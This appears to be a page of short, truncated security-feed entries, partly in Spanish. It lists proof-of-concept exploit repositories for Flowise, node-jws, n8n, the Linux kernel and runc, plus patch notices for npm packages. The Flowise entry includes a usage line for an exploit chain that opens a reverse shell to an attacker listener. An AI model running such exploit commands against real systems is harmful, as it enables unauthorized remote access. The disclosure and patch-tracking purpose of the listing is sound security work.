CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Cadena de explotación para dos vulnerabilidades que afectan Flowise -c "id" Shell inversa con clave existente: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Opciones Flag| Descripción ---|--- -t, --target| URL del ob...

ROOT-APP-NPM-CVE-2026-44289 CVE-2026-44289 in protobufjs - Patched by Root

Root has patched CVE-2026-44289 in the protobufjs package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-44290 CVE-2026-44290 in protobufjs - Patched by Root

Root has patched CVE-2026-44290 in the protobufjs package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-45740 CVE-2026-45740 in protobufjs - Patched by Root

Root has patched CVE-2026-45740 in the protobufjs package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-41673 CVE-2026-41673 in @xmldom/xmldom - Patched by Root

Root has patched CVE-2026-41673 in the @xmldom/xmldom package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-44003 CVE-2026-44003 in vm2 - Patched by Root

Root has patched CVE-2026-44003 in the vm2 package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-43998 CVE-2026-43998 in vm2 - Patched by Root

Root has patched CVE-2026-43998 in the vm2 package for Root:npm. Multiple fixed versions available...

CVE-2025-65945-poc

CVE-2025-65945: Bypass de verificación de firma en node-jws Esto es una prueba de concepto para un bypass de verificación de firma en la librería node-jws. El error permite a atacantes falsificar JWTs válidos cuando el servidor deriva secretos HMAC de datos controlados por el usuario. ¿Cuál es el...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — Contaminación de prototipos en la paginación del nodo de solicitud HTTP de n8n → RCE Un creador de flujos de trabajo autenticado de n8n La advertencia pública solo indica que la contaminación "combinada con otras técnicas podría llevar a RCE" — no divulga un gadget. Este...

CVE-2025-40271

CVE-2025-40271 — LPE por UAF del árbol rb en procreaddirde Prueba de concepto para una vulnerabilidad de escalada local de privilegios en el sistema de archivos proc del kernel de Linux. El fallo es un use-after-free en procreaddirde provocado por rberase sin RBCLEARNODE, que deja enlaces obsolet...

CLEANSTART-2026-BZ98480 undici's experimental WebSocketStream client crashes the whole Node

Security vulnerability affects the langfuse package. undici's experimental WebSocketStream client crashes the whole Node...

CLEANSTART-2026-OS54288 fast-uri is a URI parser for Node

Security vulnerability affects the langfuse package. fast-uri is a URI parser for Node...

CLEANSTART-2026-LZ46216 fast-uri is a URI parser for Node

Security vulnerability affects the langfuse package. fast-uri is a URI parser for Node...

CLEANSTART-2026-SR09955 fast-uri is a URI parser for Node

Security vulnerability affects the langfuse package. fast-uri is a URI parser for Node...

CLEANSTART-2026-UO74243 fast-uri is a URI parser for Node

Security vulnerability affects the langfuse package. fast-uri is a URI parser for Node...

CLEANSTART-2026-ZW37731 vulnerability has been identified in Node

Security vulnerability affects the apache-superset package. A vulnerability has been identified in Node...

CLEANSTART-2026-GV36005 We have identified a bug in Node

Security vulnerability affects the apache-superset package. We have identified a bug in Node...

CLEANSTART-2026-MI22504 flaw in Node

Security vulnerability affects the apache-superset package. A flaw in Node...

Server-generated Error Message Containing Sensitive Information

Overview @grpc/grpc-js is a gRPC Library for Node Affected versions of this package are vulnerable to Server-generated Error Message Containing Sensitive Information via the server-side RPC error handler in server.ts, which unconditionally includes the raw exception message in the gRPC status...

Learn-about-cve-2025-31133-poc

Aprende-sobre-cve-2025-31133-poc Resumen Una demostración de prueba de concepto y un entorno de aprendizaje para CVE-2025-31133 , una vulnerabilidad de seguridad en runc que permite eludir la protección maskedPaths mediante una condición de carrera. Los maskedPaths están diseñados para evitar que...